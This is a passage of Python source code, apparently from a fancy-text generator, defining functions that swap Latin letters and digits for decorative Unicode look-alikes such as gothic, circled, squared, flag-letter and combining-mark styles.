\"𝘓\",\n            \"M\": \"𝘔\",\n            \"N\": \"𝘕\",\n            \"O\": \"𝘖\",\n            \"P\": \"𝘗\",\n            \"Q\": \"𝘘\",\n            \"R\": \"𝘙\",\n            \"S\": \"𝘚\",\n            \"T\": \"𝘛\",\n            \"U\": \"𝘜\",\n            \"V\": \"𝘝\",\n            \"W\": \"𝘞\",\n            \"X\": \"𝘟\",\n            \"Y\": \"𝘠\",\n            \"Z\": \"𝘡\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def sim(text):\n        style = {\n            \"a\": \"𝖺\",\n            \"b\": \"𝖻\",\n            \"c\": \"𝖼\",\n            \"d\": \"𝖽\",\n            \"e\": \"𝖾\",\n            \"f\": \"𝖿\",\n            \"g\": \"𝗀\",\n            \"h\": \"𝗁\",\n            \"i\": \"𝗂\",\n            \"j\": \"𝗃\",\n            \"k\": \"𝗄\",\n            \"l\": \"𝗅\",\n            \"m\": \"𝗆\",\n            \"n\": \"𝗇\",\n            \"o\": \"𝗈\",\n            \"p\": \"𝗉\",\n            \"q\": \"𝗊\",\n            \"r\": \"𝗋\",\n            \"s\": \"𝗌\",\n            \"t\": \"𝗍\",\n            \"u\": \"𝗎\",\n            \"v\": \"𝗏\",\n            \"w\": \"𝗐\",\n            \"x\": \"𝗑\",\n            \"y\": \"𝗒\",\n            \"z\": \"𝗓\",\n            \"A\": \"𝖠\",\n            \"B\": \"𝖡\",\n            \"C\": \"𝖢\",\n            \"D\": \"𝖣\",\n            \"E\": \"𝖤\",\n            \"F\": \"𝖥\",\n            \"G\": \"𝖦\",\n            \"H\": \"𝖧\",\n            \"I\": \"𝖨\",\n            \"J\": \"𝖩\",\n            \"K\": \"𝖪\",\n            \"L\": \"𝖫\",\n            \"M\": \"𝖬\",\n            \"N\": \"𝖭\",\n            \"O\": \"𝖮\",\n            \"P\": \"𝖯\",\n            \"Q\": \"𝖰\",\n            \"R\": \"𝖱\",\n            \"S\": \"𝖲\",\n            \"T\": \"𝖳\",\n            \"U\": \"𝖴\",\n            \"V\": \"𝖵\",\n            \"W\": \"𝖶\",\n            \"X\": \"𝖷\",\n            \"Y\": \"𝖸\",\n            \"Z\": \"𝖹\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def circles(text):\n        style = {\n            \"a\": \"Ⓐ︎\",\n            \"b\": \"Ⓑ︎\",\n            \"c\": \"Ⓒ︎\",\n            \"d\": \"Ⓓ︎\",\n            \"e\": \"Ⓔ︎\",\n            \"f\": \"Ⓕ︎\",\n            \"g\": \"Ⓖ︎\",\n            \"h\": \"Ⓗ︎\",\n            \"i\": \"Ⓘ︎\",\n            \"j\": \"Ⓙ︎\",\n            \"k\": \"Ⓚ︎\",\n            \"l\": \"Ⓛ︎\",\n            \"m\": \"Ⓜ︎\",\n            \"n\": \"Ⓝ︎\",\n            \"o\": \"Ⓞ︎\",\n            \"p\": \"Ⓟ︎\",\n            \"q\": \"Ⓠ︎\",\n            \"r\": \"Ⓡ︎\",\n            \"s\": \"Ⓢ︎\",\n            \"t\": \"Ⓣ︎\",\n            \"u\": \"Ⓤ︎\",\n            \"v\": \"Ⓥ︎\",\n            \"w\": \"Ⓦ︎\",\n            \"x\": \"Ⓧ︎\",\n            \"y\": \"Ⓨ︎\",\n            \"z\": \"Ⓩ︎\",\n            \"A\": \"Ⓐ︎\",\n            \"B\": \"Ⓑ︎\",\n            \"C\": \"Ⓒ︎\",\n            \"D\": \"Ⓓ︎\",\n            \"E\": \"Ⓔ︎\",\n            \"F\": \"Ⓕ︎\",\n            \"G\": \"Ⓖ︎\",\n            \"H\": \"Ⓗ︎\",\n            \"I\": \"Ⓘ︎\",\n            \"J\": \"Ⓙ︎\",\n            \"K\": \"Ⓚ︎\",\n            \"L\": \"Ⓛ︎\",\n            \"M\": \"Ⓜ︎\",\n            \"N\": \"Ⓝ︎\",\n            \"O\": \"Ⓞ︎\",\n            \"P\": \"Ⓟ︎\",\n            \"Q\": \"Ⓠ︎\",\n            \"R\": \"Ⓡ︎\",\n            \"S\": \"Ⓢ︎\",\n            \"T\": \"Ⓣ︎\",\n            \"U\": \"Ⓤ︎\",\n            \"V\": \"Ⓥ︎\",\n            \"W\": \"Ⓦ︎\",\n            \"X\": \"Ⓧ︎\",\n            \"Y\": \"Ⓨ︎\",\n            \"Z\": \"Ⓩ︎\",\n            \"0\": \"⓪\",\n            \"1\": \"①\",\n            \"2\": \"②\",\n            \"3\": \"③\",\n            \"4\": \"④\",\n            \"5\": \"⑤\",\n            \"6\": \"⑥\",\n            \"7\": \"⑦\",\n            \"8\": \"⑧\",\n            \"9\": \"⑨\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def dark_circle(text):\n        style = {\n            \"a\": \"🅐︎\",\n            \"b\": \"🅑︎\",\n            \"c\": \"🅒︎\",\n            \"d\": \"🅓︎\",\n            \"e\": \"🅔︎\",\n            \"f\": \"🅕︎\",\n            \"g\": \"🅖︎\",\n            \"h\": \"🅗︎\",\n            \"i\": \"🅘︎\",\n            \"j\": \"🅙︎\",\n            \"k\": \"🅚︎\",\n            \"l\": \"🅛︎\",\n            \"m\": \"🅜︎\",\n            \"n\": \"🅝︎\",\n            \"o\": \"🅞︎\",\n            \"p\": \"🅟︎\",\n            \"q\": \"🅠︎\",\n            \"r\": \"🅡︎\",\n            \"s\": \"🅢︎\",\n            \"t\": \"🅣︎\",\n            \"u\": \"🅤︎\",\n            \"v\": \"🅥︎\",\n            \"w\": \"🅦︎\",\n            \"x\": \"🅧︎\",\n            \"y\": \"🅨︎\",\n            \"z\": \"🅩︎\",\n            \"A\": \"🅐︎\",\n            \"B\": \"🅑︎\",\n            \"C\": \"🅒︎\",\n            \"D\": \"🅓︎\",\n            \"E\": \"🅔︎\",\n            \"F\": \"🅕︎\",\n            \"G\": \"🅖︎\",\n            \"H\": \"🅗︎\",\n            \"I\": \"🅘︎\",\n            \"J\": \"🅙︎\",\n            \"K\": \"🅚︎\",\n            \"L\": \"🅛︎\",\n            \"M\": \"🅜︎\",\n            \"N\": \"🅝︎\",\n            \"O\": \"🅞︎\",\n            \"P\": \"🅟︎\",\n            \"Q\": \"🅠︎\",\n            \"R\": \"🅡︎\",\n            \"S\": \"🅢︎\",\n            \"T\": \"🅣︎\",\n            \"U\": \"🅤︎\",\n            \"V\": \"🅥︎\",\n            \"W\": \"🅦︎\",\n            \"X\": \"🅧︎\",\n            \"Y\": \"🅨︎\",\n            \"Z\": \"🅩\",\n            \"0\": \"⓿\",\n            \"1\": \"➊\",\n            \"2\": \"➋\",\n            \"3\": \"➌\",\n            \"4\": \"➍\",\n            \"5\": \"➎\",\n            \"6\": \"➏\",\n            \"7\": \"➐\",\n            \"8\": \"➑\",\n            \"9\": \"➒\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def gothic(text):\n        style = {\n            \"a\": \"𝔞\",\n            \"b\": \"𝔟\",\n            \"c\": \"𝔠\",\n            \"d\": \"𝔡\",\n            \"e\": \"𝔢\",\n            \"f\": \"𝔣\",\n            \"g\": \"𝔤\",\n            \"h\": \"𝔥\",\n            \"i\": \"𝔦\",\n            \"j\": \"𝔧\",\n            \"k\": \"𝔨\",\n            \"l\": \"𝔩\",\n            \"m\": \"𝔪\",\n            \"n\": \"𝔫\",\n            \"o\": \"𝔬\",\n            \"p\": \"𝔭\",\n            \"q\": \"𝔮\",\n            \"r\": \"𝔯\",\n            \"s\": \"𝔰\",\n            \"t\": \"𝔱\",\n            \"u\": \"𝔲\",\n            \"v\": \"𝔳\",\n            \"w\": \"𝔴\",\n            \"x\": \"𝔵\",\n            \"y\": \"𝔶\",\n            \"z\": \"𝔷\",\n            \"A\": \"𝔄\",\n            \"B\": \"𝔅\",\n            \"C\": \"ℭ\",\n            \"D\": \"𝔇\",\n            \"E\": \"𝔈\",\n            \"F\": \"𝔉\",\n            \"G\": \"𝔊\",\n            \"H\": \"ℌ\",\n            \"I\": \"ℑ\",\n            \"J\": \"𝔍\",\n            \"K\": \"𝔎\",\n            \"L\": \"𝔏\",\n            \"M\": \"𝔐\",\n            \"N\": \"𝔑\",\n            \"O\": \"𝔒\",\n            \"P\": \"𝔓\",\n            \"Q\": \"𝔔\",\n            \"R\": \"ℜ\",\n            \"S\": \"𝔖\",\n            \"T\": \"𝔗\",\n            \"U\": \"𝔘\",\n            \"V\": \"𝔙\",\n            \"W\": \"𝔚\",\n            \"X\": \"𝔛\",\n            \"Y\": \"𝔜\",\n            \"Z\": \"ℨ\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def bold_gothic(text):\n        style = {\n            \"a\": \"𝖆\",\n            \"b\": \"𝖇\",\n            \"c\": \"𝖈\",\n            \"d\": \"𝖉\",\n            \"e\": \"𝖊\",\n            \"f\": \"𝖋\",\n            \"g\": \"𝖌\",\n            \"h\": \"𝖍\",\n            \"i\": \"𝖎\",\n            \"j\": \"𝖏\",\n            \"k\": \"𝖐\",\n            \"l\": \"𝖑\",\n            \"m\": \"𝖒\",\n            \"n\": \"𝖓\",\n            \"o\": \"𝖔\",\n            \"p\": \"𝖕\",\n            \"q\": \"𝖖\",\n            \"r\": \"𝖗\",\n            \"s\": \"𝖘\",\n            \"t\": \"𝖙\",\n            \"u\": \"𝖚\",\n            \"v\": \"𝖛\",\n            \"w\": \"𝖜\",\n            \"x\": \"𝖝\",\n            \"y\": \"𝖞\",\n            \"z\": \"𝖟\",\n            \"A\": \"𝕬\",\n            \"B\": \"𝕭\",\n            \"C\": \"𝕮\",\n            \"D\": \"𝕺\",\n            \"E\": \"𝕰\",\n            \"F\": \"𝕱\",\n            \"G\": \"𝕲\",\n            \"H\": \"𝕳\",\n            \"I\": \"𝕴\",\n            \"J\": \"𝕵\",\n            \"K\": \"𝕶\",\n            \"L\": \"𝕷\",\n            \"M\": \"𝕸\",\n            \"N\": \"𝕹\",\n            \"O\": \"𝕺\",\n            \"P\": \"𝕻\",\n            \"Q\": \"𝕼\",\n            \"R\": \"𝕽\",\n            \"S\": \"𝕾\",\n            \"T\": \"𝕿\",\n            \"U\": \"𝖀\",\n            \"V\": \"𝖁\",\n            \"W\": \"𝖂\",\n            \"X\": \"𝖃\",\n            \"Y\": \"𝖄\",\n            \"Z\": \"𝖅\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def cloud(text):\n        style = {\n            \"a\": \"a͜͡\",\n            \"b\": \"b͜͡\",\n            \"c\": \"c͜͡\",\n            \"d\": \"d͜͡\",\n            \"e\": \"e͜͡\",\n            \"f\": \"f͜͡\",\n            \"g\": \"g͜͡\",\n            \"h\": \"h͜͡\",\n            \"i\": \"i͜͡\",\n            \"j\": \"j͜͡\",\n            \"k\": \"k͜͡\",\n            \"l\": \"l͜͡\",\n            \"m\": \"m͜͡\",\n            \"n\": \"n͜͡\",\n            \"o\": \"o͜͡\",\n            \"p\": \"p͜͡\",\n            \"q\": \"q͜͡\",\n            \"r\": \"r͜͡\",\n            \"s\": \"s͜͡\",\n            \"t\": \"t͜͡\",\n            \"u\": \"u͜͡\",\n            \"v\": \"v͜͡\",\n            \"w\": \"w͜͡\",\n            \"x\": \"x͜͡\",\n            \"y\": \"y͜͡\",\n            \"z\": \"z͜͡\",\n            \"A\": \"A͜͡\",\n            \"B\": \"B͜͡\",\n            \"C\": \"C͜͡\",\n            \"D\": \"D͜͡\",\n            \"E\": \"E͜͡\",\n            \"F\": \"F͜͡\",\n            \"G\": \"G͜͡\",\n            \"H\": \"H͜͡\",\n            \"I\": \"I͜͡\",\n            \"J\": \"J͜͡\",\n            \"K\": \"K͜͡\",\n            \"L\": \"L͜͡\",\n            \"M\": \"M͜͡\",\n            \"N\": \"N͜͡\",\n            \"O\": \"O͜͡\",\n            \"P\": \"P͜͡\",\n            \"Q\": \"Q͜͡\",\n            \"R\": \"R͜͡\",\n            \"S\": \"S͜͡\",\n            \"T\": \"T͜͡\",\n            \"U\": \"U͜͡\",\n            \"V\": \"V͜͡\",\n            \"W\": \"W͜͡\",\n            \"X\": \"X͜͡\",\n            \"Y\": \"Y͜͡\",\n            \"Z\": \"Z͜͡\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def happy(text):\n        style = {\n            \"a\": \"ă̈\",\n            \"b\": \"b̆̈\",\n            \"c\": \"c̆̈\",\n            \"d\": \"d̆̈\",\n            \"e\": \"ĕ̈\",\n            \"f\": \"f̆̈\",\n            \"g\": \"ğ̈\",\n            \"h\": \"h̆̈\",\n            \"i\": \"ĭ̈\",\n            \"j\": \"j̆̈\",\n            \"k\": \"k̆̈\",\n            \"l\": \"l̆̈\",\n            \"m\": \"m̆̈\",\n            \"n\": \"n̆̈\",\n            \"o\": \"ŏ̈\",\n            \"p\": \"p̆̈\",\n            \"q\": \"q̆̈\",\n            \"r\": \"r̆̈\",\n            \"s\": \"s̆̈\",\n            \"t\": \"t̆̈\",\n            \"u\": \"ŭ̈\",\n            \"v\": \"v̆̈\",\n            \"w\": \"w̆̈\",\n            \"x\": \"x̆̈\",\n            \"y\": \"y̆̈\",\n            \"z\": \"z̆̈\",\n            \"A\": \"Ă̈\",\n            \"B\": \"B̆̈\",\n            \"C\": \"C̆̈\",\n            \"D\": \"D̆̈\",\n            \"E\": \"Ĕ̈\",\n            \"F\": \"F̆̈\",\n            \"G\": \"Ğ̈\",\n            \"H\": \"H̆̈\",\n            \"I\": \"Ĭ̈\",\n            \"J\": \"J̆̈\",\n            \"K\": \"K̆̈\",\n            \"L\": \"L̆̈\",\n            \"M\": \"M̆̈\",\n            \"N\": \"N̆̈\",\n            \"O\": \"Ŏ̈\",\n            \"P\": \"P̆̈\",\n            \"Q\": \"Q̆̈\",\n            \"R\": \"R̆̈\",\n            \"S\": \"S̆̈\",\n            \"T\": \"T̆̈\",\n            \"U\": \"Ŭ̈\",\n            \"V\": \"V̆̈\",\n            \"W\": \"W̆̈\",\n            \"X\": \"X̆̈\",\n            \"Y\": \"Y̆̈\",\n            \"Z\": \"Z̆̈\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def sad(text):\n        style = {\n            \"a\": \"ȃ̈\",\n            \"b\": \"b̑̈\",\n            \"c\": \"c̑̈\",\n            \"d\": \"d̑̈\",\n            \"e\": \"ȇ̈\",\n            \"f\": \"f̑̈\",\n            \"g\": \"g̑̈\",\n            \"h\": \"h̑̈\",\n            \"i\": \"ȋ̈\",\n            \"j\": \"j̑̈\",\n            \"k\": \"k̑̈\",\n            \"l\": \"l̑̈\",\n            \"m\": \"m̑̈\",\n            \"n\": \"n̑̈\",\n            \"o\": \"ȏ̈\",\n            \"p\": \"p̑̈\",\n            \"q\": \"q̑̈\",\n            \"r\": \"ȓ̈\",\n            \"s\": \"s̑̈\",\n            \"t\": \"t̑̈\",\n            \"u\": \"ȗ̈\",\n            \"v\": \"v̑̈\",\n            \"w\": \"w̑̈\",\n            \"x\": \"x̑̈\",\n            \"y\": \"y̑̈\",\n            \"z\": \"z̑̈\",\n            \"A\": \"Ȃ̈\",\n            \"B\": \"B̑̈\",\n            \"C\": \"C̑̈\",\n            \"D\": \"D̑̈\",\n            \"E\": \"Ȇ̈\",\n            \"F\": \"F̑̈\",\n            \"G\": \"G̑̈\",\n            \"H\": \"H̑̈\",\n            \"I\": \"Ȋ̈\",\n            \"J\": \"J̑̈\",\n            \"K\": \"K̑̈\",\n            \"L\": \"L̑̈\",\n            \"M\": \"M̑̈\",\n            \"N\": \"N̑̈\",\n            \"O\": \"Ȏ̈\",\n            \"P\": \"P̑̈\",\n            \"Q\": \"Q̑̈\",\n            \"R\": \"Ȓ̈\",\n            \"S\": \"S̑̈\",\n            \"T\": \"T̑̈\",\n            \"U\": \"Ȗ̈\",\n            \"V\": \"V̑̈\",\n            \"W\": \"W̑̈\",\n            \"X\": \"X̑̈\",\n            \"Y\": \"Y̑̈\",\n            \"Z\": \"Z̑̈\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def special(text):\n        style = {\n            \"a\": \"🇦 \",\n            \"b\": \"🇧 \",\n            \"c\": \"🇨 \",\n            \"d\": \"🇩 \",\n            \"e\": \"🇪 \",\n            \"f\": \"🇫 \",\n            \"g\": \"🇬 \",\n            \"h\": \"🇭 \",\n            \"i\": \"🇮 \",\n            \"j\": \"🇯 \",\n            \"k\": \"🇰 \",\n            \"l\": \"🇱 \",\n            \"m\": \"🇲 \",\n            \"n\": \"🇳 \",\n            \"o\": \"🇴 \",\n            \"p\": \"🇵 \",\n            \"q\": \"🇶 \",\n            \"r\": \"🇷 \",\n            \"s\": \"🇸 \",\n            \"t\": \"🇹 \",\n            \"u\": \"🇺 \",\n            \"v\": \"🇻 \",\n            \"w\": \"🇼 \",\n            \"x\": \"🇽 \",\n            \"y\": \"🇾 \",\n            \"z\": \"🇿 \",\n            \"A\": \"🇦 \",\n            \"B\": \"🇧 \",\n            \"C\": \"🇨 \",\n            \"D\": \"🇩 \",\n            \"E\": \"🇪 \",\n            \"F\": \"🇫 \",\n            \"G\": \"🇬 \",\n            \"H\": \"🇭 \",\n            \"I\": \"🇮 \",\n            \"J\": \"🇯 \",\n            \"K\": \"🇰 \",\n            \"L\": \"🇱 \",\n            \"M\": \"🇲 \",\n            \"N\": \"🇳 \",\n            \"O\": \"🇴 \",\n            \"P\": \"🇵 \",\n            \"Q\": \"🇶 \",\n            \"R\": \"🇷 \",\n            \"S\": \"🇸 \",\n            \"T\": \"🇹 \",\n            \"U\": \"🇺 \",\n            \"V\": \"🇻 \",\n            \"W\": \"🇼 \",\n            \"X\": \"🇽 \",\n            \"Y\": \"🇾 \",\n            \"Z\": \"🇿 \",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def square(text):\n        style = {\n            \"a\": \"🄰\",\n            \"b\": \"🄱\",\n            \"c\": \"🄲\",\n            \"d\": \"🄳\",\n            \"e\": \"🄴\",\n            \"f\": \"🄵\",\n            \"g\": \"🄶\",\n            \"h\": \"🄷\",\n            \"i\": \"🄸\",\n            \"j\": \"🄹\",\n            \"k\": \"🄺\",\n            \"l\": \"🄻\",\n            \"m\": \"🄼\",\n            \"n\": \"🄽\",\n            \"o\": \"🄾\",\n            \"p\": \"🄿\",\n            \"q\": \"🅀\",\n            \"r\": \"🅁\",\n            \"s\": \"🅂\",\n            \"t\": \"🅃\",\n            \"u\": \"🅄\",\n            \"v\": \"🅅\",\n            \"w\": \"🅆\",\n            \"x\": \"🅇\",\n            \"y\": \"🅈\",\n            \"z\": \"🅉\",\n            \"A\": \"🄰\",\n            \"B\": \"🄱\",\n            \"C\": \"🄲\",\n            \"D\": \"🄳\",\n            \"E\": \"🄴\",\n            \"F\": \"🄵\",\n            \"G\": \"🄶\",\n            \"H\": \"🄷\",\n            \"I\": \"🄸\",\n            \"J\": \"🄹\",\n            \"K\": \"🄺\",\n            \"L\": \"🄻\",\n            \"M\": \"🄼\",\n            \"N\": \"🄽\",\n            \"O\": \"🄾\",\n            \"P\": \"🄿\",\n            \"Q\": \"🅀\",\n            \"R\": \"🅁\",\n            \"S\": \"🅂\",\n            \"T\": \"🅃\",\n            \"U\": \"🅄\",\n            \"V\": \"🅅\",\n            \"W\": \"🅆\",\n            \"X\": \"🅇\",\n            \"Y\": \"🅈\",\n            \"Z\": \"🅉\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def dark_square(text):\n        style = {\n            \"a\": \"🅰︎\",\n            \"b\": \"🅱︎\",\n            \"c\": \"🅲︎\",\n            \"d\": \"🅳︎\",\n            \"e\": \"🅴︎\",\n            \"f\": \"🅵︎\",\n            \"g\": \"🅶︎\",\n            \"h\": \"🅷︎\",\n            \"i\": \"🅸︎\",\n            \"j\": \"🅹︎\",\n            \"k\": \"🅺︎\",\n            \"l\": \"🅻︎\",\n            \"m\": \"🅼︎\",\n            \"n\": \"🅽︎\",\n            \"o\": \"🅾︎\",\n            \"p\": \"🅿︎\",\n            \"q\": \"🆀︎\",\n            \"r\": \"🆁︎\",\n            \"s\": \"🆂︎\",\n            \"t\": \"🆃︎\",\n            \"u\": \"🆄︎\",\n            \"v\": \"🆅︎\",\n            \"w\": \"🆆︎\",\n            \"x\": \"🆇︎\",\n            \"y\": \"🆈︎\",\n            \"z\": \"🆉︎\",\n            \"A\": \"🅰︎\",\n            \"B\": \"🅱︎\",\n            \"C\": \"🅲︎\",\n            \"D\": \"🅳︎\",\n            \"E\": \"🅴︎\",\n            \"F\": \"🅵︎\",\n            \"G\": \"🅶︎\",\n            \"H\": \"🅷︎\",\n            \"I\": \"🅸︎\",\n            \"J\": \"🅹︎\",\n            \"K\": \"🅺︎\",\n            \"L\": \"🅻︎\",\n            \"M\": \"🅼︎\",\n            \"N\": \"🅽︎\",\n            \"O\": \"🅾︎\",\n            \"P\": \"🅿︎\",\n            \"Q\": \"🆀︎\",\n            \"R\": \"🆁︎\",\n            \"S\": \"🆂︎\",\n            \"T\": \"🆃︎\",\n            \"U\": \"🆄︎\",\n            \"V\": \"🆅︎\",\n            \"W\": \"🆆︎\",\n            \"X\": \"🆇︎\",\n            \"Y\": \"🆈︎\",\n            \"Z\": \"🆉︎\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def andalucia(text):\n        style = {\n            \"a\": \"ꪖ\",\n            \"b\": \"᥇\",\n            \"c\": \"ᥴ\",\n            \"d\": \"ᦔ\",\n            \"e\": \"ꫀ\",\n            \"f\": \"ᠻ\",\n            \"g\": \"ᧁ\",\n            \"h\": \"ꫝ\",\n            \"i\": \"𝓲\",\n            \"j\": \"𝓳\",\n            \"k\": \"𝘬\",\n            \"l\": \"ꪶ\",\n            \"m\": \"ꪑ\",\n            \"n\": \"ꪀ\",\n            \"o\": \"ꪮ\",\n            \"p\": \"ρ\",\n            \"q\": \"𝘲\",\n            \"r\": \"𝘳\",\n            \"s\": \"𝘴\",\n            \"t\": \"𝓽\",\n            \"u\": \"ꪊ\",\n            \"v\": \"ꪜ\",\n            \"w\": \"᭙\",\n            \"x\": \"᥊\",\n            \"y\": \"ꪗ\",\n            \"z\": \"ɀ\",\n            \"A\": \"ꪖ\",\n            \"B\": \"᥇\",\n            \"C\": \"ᥴ\",\n            \"D\": \"ᦔ\",\n            \"E\": \"ꫀ\",\n            \"F\": \"ᠻ\",\n            \"G\": \"ᧁ\",\n            \"H\": \"ꫝ\",\n            \"I\": \"𝓲\",\n            \"J\": \"𝓳\",\n            \"K\": \"𝘬\",\n            \"L\": \"ꪶ\",\n            \"M\": \"ꪑ\",\n            \"N\": \"ꪀ\",\n            \"O\": \"ꪮ\",\n            \"P\": \"ρ\",\n            \"Q\": \"𝘲\",\n            \"R\": \"𝘳\",\n            \"S\": \"𝘴\",\n            \"T\": \"𝓽\",\n            \"U\": \"ꪊ\",\n            \"V\": \"ꪜ\",\n            \"W\": \"᭙\",\n            \"X\": \"᥊\",\n            \"Y\": \"ꪗ\",\n            \"Z\": \"ɀ\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def manga(text):\n        style = {\n            \"a\": \"卂\",\n            \"b\": \"乃\",\n            \"c\": \"匚\",\n            \"d\": \"ᗪ\",\n            \"e\": \"乇\",\n            \"f\": \"千\",\n            \"g\": \"ᘜ\",\n            \"h\": \"卄\",\n            \"i\": \"|\",\n            \"j\": \"ﾌ\",\n            \"k\": \"Ҝ\",\n            \"l\": \"ㄥ\",\n            \"m\": \"爪\",\n            \"n\": \"几\",\n            \"o\": \"ㄖ\",\n            \"p\": \"卩\",\n            \"q\": \"Ҩ\",\n            \"r\": \"尺\",\n            \"s\": \"丂\",\n            \"t\": \"ㄒ\",\n            \"u\": \"ㄩ\",\n            \"v\": \"ᐯ\",\n            \"w\": \"山\",\n            \"x\": \"乂\",\n            \"y\": \"ㄚ\",\n            \"z\": \"乙\",\n            \"A\": \"卂\",\n            \"B\": \"乃\",\n            \"C\": \"匚\",\n            \"D\": \"ᗪ\",\n            \"E\": \"乇\",\n            \"F\": \"千\",\n            \"G\": \"ᘜ\",\n            \"H\": \"卄\",\n            \"I\": \"|\",\n            \"J\": \"ﾌ\",\n            \"K\": \"Ҝ\",\n            \"L\": \"ㄥ\",\n            \"M\": \"爪\",\n            \"N\": \"几\",\n            \"O\": \"ㄖ\",\n            \"P\": \"卩\",\n            \"Q\": \"Ҩ\",\n            \"R\": \"尺\",\n            \"S\": \"丂\",\n            \"T\": \"ㄒ\",\n            \"U\": \"ㄩ\",\n            \"V\": \"ᐯ\",\n            \"W\": \"山\",\n            \"X\": \"乂\",\n            \"Y\": \"ㄚ\",\n            \"Z\": \"乙\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def stinky(text):\n        style = {\n            \"a\": \"a̾\",\n            \"b\": \"b̾\",\n            \"c\": \"c̾\",\n            \"d\": \"d̾\",\n            \"e\": \"e̾\",\n            \"f\": \"f̾\",\n            \"g\": \"g̾\",\n            \"h\": \"h̾\",\n            \"i\": \"i̾\",\n            \"j\": \"j̾\",\n            \"k\": \"k̾\",\n            \"l\": \"l̾\",\n            \"m\": \"m̾\",\n            \"n\": \"n̾\",\n            \"o\": \"o̾\",\n            \"p\": \"p̾\",\n            \"q\": \"q̾\",\n            \"r\": \"r̾\",\n            \"s\": \"s̾\",\n            \"t\": \"t̾\",\n            \"u\": \"u̾\",\n            \"v\": \"v̾\",\n            \"w\": \"w̾\",\n            \"x\": \"x̾\",\n            \"y\": \"y̾\",\n            \"z\": \"z̾\",\n            \"A\": \"A̾\",\n            \"B\": \"B̾\",\n            \"C\": \"C̾\",\n            \"D\": \"D̾\",\n            \"E\": \"E̾\",\n            \"F\": \"F̾\",\n            \"G\": \"G̾\",\n            \"H\": \"H̾\",\n            \"I\": \"I̾\",\n            \"J\": \"J̾\",\n            \"K\": \"K̾\",\n            \"L\": \"L̾\",\n            \"M\": \"M̾\",\n            \"N\": \"N̾\",\n            \"O\": \"O̾\",\n            \"P\": \"P̾\",\n            \"Q\": \"Q̾\",\n            \"R\": \"R̾\",\n            \"S\": \"S̾\",\n            \"T\": \"T̾\",\n            \"U\": \"U̾\",\n            \"V\": \"V̾\",\n            \"W\": \"W̾\",\n            \"X\": \"X̾\",\n            \"Y\": \"Y̾\",\n            \"Z\": \"Z̾\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def bubbles(text):\n        style = {\n            \"a\": \"ḁͦ\",\n            \"b\": \"b̥ͦ\",\n            \"c\": \"c̥ͦ\",\n            \"d\": \"d̥ͦ\",\n            \"e\": \"e̥ͦ\",\n            \"f\": \"f̥ͦ\",\n            \"g\": \"g̥ͦ\",\n            \"h\": \"h̥ͦ\",\n            \"i\": \"i̥ͦ\",\n            \"j\": \"j̥ͦ\",\n            \"k\": \"k̥ͦ\",\n            \"l\": \"l̥ͦ\",\n            \"m\": \"m̥ͦ\",\n            \"n\": \"n̥ͦ\",\n            \"o\": \"o̥ͦ\",\n            \"p\": \"p̥ͦ\",\n            \"q\": \"q̥ͦ\",\n            \"r\": \"r̥ͦ\",\n            \"s\": \"s̥ͦ\",\n            \"t\": \"t̥ͦ\",\n            \"u\": \"u̥ͦ\",\n            \"v\": \"v̥ͦ\",\n            \"w\": \"w̥ͦ\",\n            \"x\": \"x̥ͦ\",\n            \"y\": \"y̥ͦ\",\n            \"z\": \"z̥ͦ\",\n            \"A\": \"Ḁͦ\",\n            \"B\": \"B̥ͦ\",\n            \"C\": \"C̥ͦ\",\n            \"D\": \"D̥ͦ\",\n            \"E\": \"E̥ͦ\",\n            \"F\": \"F̥ͦ\",\n            \"G\": \"G̥ͦ\",\n            \"H\": \"H̥ͦ\",\n            \"I\": \"I̥ͦ\",\n            \"J\": \"J̥ͦ\",\n            \"K\": \"K̥ͦ\",\n            \"L\": \"L̥ͦ\",\n            \"M\": \"M̥ͦ\",\n            \"N\": \"N̥ͦ\",\n            \"O\": \"O̥ͦ\",\n            \"P\": \"P̥ͦ\",\n            \"Q\": \"Q̥ͦ\",\n            \"R\": \"R̥ͦ\",\n            \"S\": \"S̥ͦ\",\n            \"T\": \"T̥ͦ\",\n            \"U\": \"U̥ͦ\",\n            \"V\": \"V̥ͦ\",\n            \"W\": \"W̥ͦ\",\n            \"X\": \"X̥ͦ\",\n            \"Y\": \"Y̥ͦ\",\n            \"Z\": \"Z̥ͦ\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def underline(text):\n        style = {\n            \"a\": \"a͟\",\n            \"b\": \"b͟\",\n            \"c\": \"c͟\",\n            \"d\": \"d͟\",\n            \"e\": \"e͟\",\n            \"f\": \"f͟\",\n            \"g\": \"g͟\",\n            \"h\": \"h͟\",\n            \"i\": \"i͟\",\n            \"j\": \"j͟\",\n            \"k\": \"k͟\",\n            \"l\": \"l͟\",\n            \"m\": \"m͟\",\n            \"n\": \"n͟\",\n            \"o\": \"o͟\",\n            \"p\": \"p͟\",\n            \"q\": \"q͟\",\n            \"r\": \"r͟\",\n            \"s\": \"s͟\",\n            \"t\": \"t͟\",\n            \"u\": \"u͟\",\n            \"v\": \"v͟\",\n            \"w\": \"w͟\",\n            \"x\": \"x͟\",\n            \"y\": \"y͟\",\n            \"z\": \"z͟\",\n            \"A\": \"A͟\",\n            \"B\": \"B͟\",\n            \"C\": \"C͟\",\n            \"D\": \"D͟\",\n            \"E\": \"E͟\",\n            \"F\": \"F͟\",\n            \"G\": \"G͟\",\n            \"H\": \"H͟\",\n            \"I\": \"I͟\",\n            \"J\": \"J͟\",\n            \"K\": \"K͟\",\n            \"L\": \"L͟\",\n            